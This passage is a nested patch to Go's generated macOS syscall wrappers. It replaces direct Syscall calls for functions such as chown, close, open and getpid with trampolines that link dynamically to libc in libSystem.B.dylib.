-- _, _, e1 := Syscall(SYS_CHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
-+ _, _, e1 := syscall_syscall(funcPC(libc_chown_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chown_trampoline()
-+
-+//go:linkname libc_chown libc_chown
-+//go:cgo_import_dynamic libc_chown chown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chroot(path string) (err error) {
-@@ -499,27 +914,52 @@ func Chroot(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_chroot_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_chroot_trampoline()
-+
-+//go:linkname libc_chroot libc_chroot
-+//go:cgo_import_dynamic libc_chroot chroot "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ClockGettime(clockid int32, time *Timespec) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_clock_gettime_trampoline), uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_clock_gettime_trampoline()
-+
-+//go:linkname libc_clock_gettime libc_clock_gettime
-+//go:cgo_import_dynamic libc_clock_gettime clock_gettime "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_close_trampoline), uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_close_trampoline()
-+
-+//go:linkname libc_close libc_close
-+//go:cgo_import_dynamic libc_close close "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Dup(fd int) (nfd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(fd), 0, 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_dup_trampoline), uintptr(fd), 0, 0)
- nfd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -527,16 +967,26 @@ func Dup(fd int) (nfd int, err error) {
- return
- }
-
-+func libc_dup_trampoline()
-+
-+//go:linkname libc_dup libc_dup
-+//go:cgo_import_dynamic libc_dup dup "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Dup2(from int, to int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(from), uintptr(to), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_dup2_trampoline), uintptr(from), uintptr(to), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_dup2_trampoline()
-+
-+//go:linkname libc_dup2 libc_dup2
-+//go:cgo_import_dynamic libc_dup2 dup2 "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Exchangedata(path1 string, path2 string, options int) (err error) {
-@@ -550,20 +1000,30 @@ func Exchangedata(path1 string, path2 string, options int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_EXCHANGEDATA, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
-+ _, _, e1 := syscall_syscall(funcPC(libc_exchangedata_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_exchangedata_trampoline()
-+
-+//go:linkname libc_exchangedata libc_exchangedata
-+//go:cgo_import_dynamic libc_exchangedata exchangedata "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Exit(code int) {
-- Syscall(SYS_EXIT, uintptr(code), 0, 0)
-+ syscall_syscall(funcPC(libc_exit_trampoline), uintptr(code), 0, 0)
- return
- }
-
-+func libc_exit_trampoline()
-+
-+//go:linkname libc_exit libc_exit
-+//go:cgo_import_dynamic libc_exit exit "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-@@ -572,43 +1032,63 @@ func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_faccessat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_faccessat_trampoline()
-+
-+//go:linkname libc_faccessat libc_faccessat
-+//go:cgo_import_dynamic libc_faccessat faccessat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_fchdir_trampoline), uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchdir_trampoline()
-+
-+//go:linkname libc_fchdir libc_fchdir
-+//go:cgo_import_dynamic libc_fchdir fchdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchflags(fd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHFLAGS, uintptr(fd), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_fchflags_trampoline), uintptr(fd), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchflags_trampoline()
-+
-+//go:linkname libc_fchflags libc_fchflags
-+//go:cgo_import_dynamic libc_fchflags fchflags "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_fchmod_trampoline), uintptr(fd), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchmod_trampoline()
-+
-+//go:linkname libc_fchmod libc_fchmod
-+//go:cgo_import_dynamic libc_fchmod fchmod "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
-@@ -617,23 +1097,33 @@ func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fchmodat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchmodat_trampoline()
-+
-+//go:linkname libc_fchmodat libc_fchmodat
-+//go:cgo_import_dynamic libc_fchmodat fchmodat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchown(fd int, uid int, gid int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
-+ _, _, e1 := syscall_syscall(funcPC(libc_fchown_trampoline), uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchown_trampoline()
-+
-+//go:linkname libc_fchown libc_fchown
-+//go:cgo_import_dynamic libc_fchown fchown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-@@ -642,27 +1132,37 @@ func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fchownat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchownat_trampoline()
-+
-+//go:linkname libc_fchownat libc_fchownat
-+//go:cgo_import_dynamic libc_fchownat fchownat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_flock_trampoline), uintptr(fd), uintptr(how), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_flock_trampoline()
-+
-+//go:linkname libc_flock libc_flock
-+//go:cgo_import_dynamic libc_flock flock "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fpathconf(fd int, name int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FPATHCONF, uintptr(fd), uintptr(name), 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_fpathconf_trampoline), uintptr(fd), uintptr(name), 0)
- val = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -670,99 +1170,97 @@ func Fpathconf(fd int, name int) (val int, err error) {
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_fpathconf_trampoline()
-
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_fpathconf libc_fpathconf
-+//go:cgo_import_dynamic libc_fpathconf fpathconf "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstatfs(fd int, stat *Statfs_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTATFS64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+func Fsync(fd int) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_fsync_trampoline), uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_fsync_trampoline()
-
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_fsync libc_fsync
-+//go:cgo_import_dynamic libc_fsync fsync "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Ftruncate(fd int, length int64) (err error) {
-- _, _, e1 := Syscall(SYS_FTRUNCATE, uintptr(fd), uintptr(length), uintptr(length>>32))
-+ _, _, e1 := syscall_syscall(funcPC(libc_ftruncate_trampoline), uintptr(fd), uintptr(length), uintptr(length>>32))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_ftruncate_trampoline()
-
--func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETDIRENTRIES64, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_ftruncate libc_ftruncate
-+//go:cgo_import_dynamic libc_ftruncate ftruncate "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getdtablesize() (size int) {
-- r0, _, _ := Syscall(SYS_GETDTABLESIZE, 0, 0, 0)
-+ r0, _, _ := syscall_syscall(funcPC(libc_getdtablesize_trampoline), 0, 0, 0)
- size = int(r0)
- return
- }
-
-+func libc_getdtablesize_trampoline()
-+
-+//go:linkname libc_getdtablesize libc_getdtablesize
-+//go:cgo_import_dynamic libc_getdtablesize getdtablesize "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getegid_trampoline), 0, 0, 0)
- egid = int(r0)
- return
- }
-
-+func libc_getegid_trampoline()
-+
-+//go:linkname libc_getegid libc_getegid
-+//go:cgo_import_dynamic libc_getegid getegid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_geteuid_trampoline), 0, 0, 0)
- uid = int(r0)
- return
- }
-
-+func libc_geteuid_trampoline()
-+
-+//go:linkname libc_geteuid libc_geteuid
-+//go:cgo_import_dynamic libc_geteuid geteuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getgid_trampoline), 0, 0, 0)
- gid = int(r0)
- return
- }
-
-+func libc_getgid_trampoline()
-+
-+//go:linkname libc_getgid libc_getgid
-+//go:cgo_import_dynamic libc_getgid getgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_getpgid_trampoline), uintptr(pid), 0, 0)
- pgid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -770,34 +1268,54 @@ func Getpgid(pid int) (pgid int, err error) {
- return
- }
-
-+func libc_getpgid_trampoline()
-+
-+//go:linkname libc_getpgid libc_getpgid
-+//go:cgo_import_dynamic libc_getpgid getpgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpgrp() (pgrp int) {
-- r0, _, _ := RawSyscall(SYS_GETPGRP, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getpgrp_trampoline), 0, 0, 0)
- pgrp = int(r0)
- return
- }
-
-+func libc_getpgrp_trampoline()
-+
-+//go:linkname libc_getpgrp libc_getpgrp
-+//go:cgo_import_dynamic libc_getpgrp getpgrp "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getpid_trampoline), 0, 0, 0)
- pid = int(r0)
- return
- }
-
-+func libc_getpid_trampoline()
-+
-+//go:linkname libc_getpid libc_getpid
-+//go:cgo_import_dynamic libc_getpid getpid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getppid_trampoline), 0, 0, 0)
- ppid = int(r0)
- return
- }
-
-+func libc_getppid_trampoline()
-+
-+//go:linkname libc_getppid libc_getppid
-+//go:cgo_import_dynamic libc_getppid getppid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_getpriority_trampoline), uintptr(which), uintptr(who), 0)
- prio = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -805,30 +1323,45 @@ func Getpriority(which int, who int) (prio int, err error) {
- return
- }
-
-+func libc_getpriority_trampoline()
-+
-+//go:linkname libc_getpriority libc_getpriority
-+//go:cgo_import_dynamic libc_getpriority getpriority "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getrlimit(which int, lim *Rlimit) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getrlimit_trampoline), uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getrlimit_trampoline()
-+
-+//go:linkname libc_getrlimit libc_getrlimit
-+//go:cgo_import_dynamic libc_getrlimit getrlimit "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getrusage_trampoline), uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getrusage_trampoline()
-+
-+//go:linkname libc_getrusage libc_getrusage
-+//go:cgo_import_dynamic libc_getrusage getrusage "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_getsid_trampoline), uintptr(pid), 0, 0)
- sid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -836,26 +1369,41 @@ func Getsid(pid int) (sid int, err error) {
- return
- }
-
-+func libc_getsid_trampoline()
-+
-+//go:linkname libc_getsid libc_getsid
-+//go:cgo_import_dynamic libc_getsid getsid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getuid_trampoline), 0, 0, 0)
- uid = int(r0)
- return
- }
-
-+func libc_getuid_trampoline()
-+
-+//go:linkname libc_getuid libc_getuid
-+//go:cgo_import_dynamic libc_getuid getuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Issetugid() (tainted bool) {
-- r0, _, _ := RawSyscall(SYS_ISSETUGID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_issetugid_trampoline), 0, 0, 0)
- tainted = bool(r0 != 0)
- return
- }
-
-+func libc_issetugid_trampoline()
-+
-+//go:linkname libc_issetugid libc_issetugid
-+//go:cgo_import_dynamic libc_issetugid issetugid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Kqueue() (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_KQUEUE, 0, 0, 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_kqueue_trampoline), 0, 0, 0)
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -863,6 +1411,11 @@ func Kqueue() (fd int, err error) {
- return
- }
-
-+func libc_kqueue_trampoline()
-+
-+//go:linkname libc_kqueue libc_kqueue
-+//go:cgo_import_dynamic libc_kqueue kqueue "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Lchown(path string, uid int, gid int) (err error) {
-@@ -871,13 +1424,18 @@ func Lchown(path string, uid int, gid int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_LCHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
-+ _, _, e1 := syscall_syscall(funcPC(libc_lchown_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_lchown_trampoline()
-+
-+//go:linkname libc_lchown libc_lchown
-+//go:cgo_import_dynamic libc_lchown lchown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Link(path string, link string) (err error) {
-@@ -891,13 +1449,18 @@ func Link(path string, link string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_link_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_link_trampoline()
-+
-+//go:linkname libc_link libc_link
-+//go:cgo_import_dynamic libc_link link "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error) {
-@@ -911,37 +1474,32 @@ func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err er
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_linkat_trampoline), uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_linkat_trampoline()
-+
-+//go:linkname libc_linkat libc_linkat
-+//go:cgo_import_dynamic libc_linkat linkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Listen(s int, backlog int) (err error) {
-- _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(backlog), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_listen_trampoline), uintptr(s), uintptr(backlog), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_listen_trampoline()
-
--func Lstat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_listen libc_listen
-+//go:cgo_import_dynamic libc_listen listen "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-@@ -951,13 +1509,18 @@ func Mkdir(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKDIR, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_mkdir_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mkdir_trampoline()
-+
-+//go:linkname libc_mkdir libc_mkdir
-+//go:cgo_import_dynamic libc_mkdir mkdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-@@ -966,13 +1529,18 @@ func Mkdirat(dirfd int, path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ _, _, e1 := syscall_syscall(funcPC(libc_mkdirat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mkdirat_trampoline()
-+
-+//go:linkname libc_mkdirat libc_mkdirat
-+//go:cgo_import_dynamic libc_mkdirat mkdirat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mkfifo(path string, mode uint32) (err error) {
-@@ -981,13 +1549,18 @@ func Mkfifo(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKFIFO, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_mkfifo_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mkfifo_trampoline()
-+
-+//go:linkname libc_mkfifo libc_mkfifo
-+//go:cgo_import_dynamic libc_mkfifo mkfifo "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mknod(path string, mode uint32, dev int) (err error) {
-@@ -996,13 +1569,18 @@ func Mknod(path string, mode uint32, dev int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKNOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev))
-+ _, _, e1 := syscall_syscall(funcPC(libc_mknod_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mknod_trampoline()
-+
-+//go:linkname libc_mknod libc_mknod
-+//go:cgo_import_dynamic libc_mknod mknod "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Open(path string, mode int, perm uint32) (fd int, err error) {
-@@ -1011,7 +1589,7 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
- if err != nil {
- return
- }
-- r0, _, e1 := Syscall(SYS_OPEN, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_open_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm))
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1019,6 +1597,11 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
- return
- }
-
-+func libc_open_trampoline()
-+
-+//go:linkname libc_open libc_open
-+//go:cgo_import_dynamic libc_open open "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
-@@ -1027,7 +1610,7 @@ func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
- if err != nil {
- return
- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
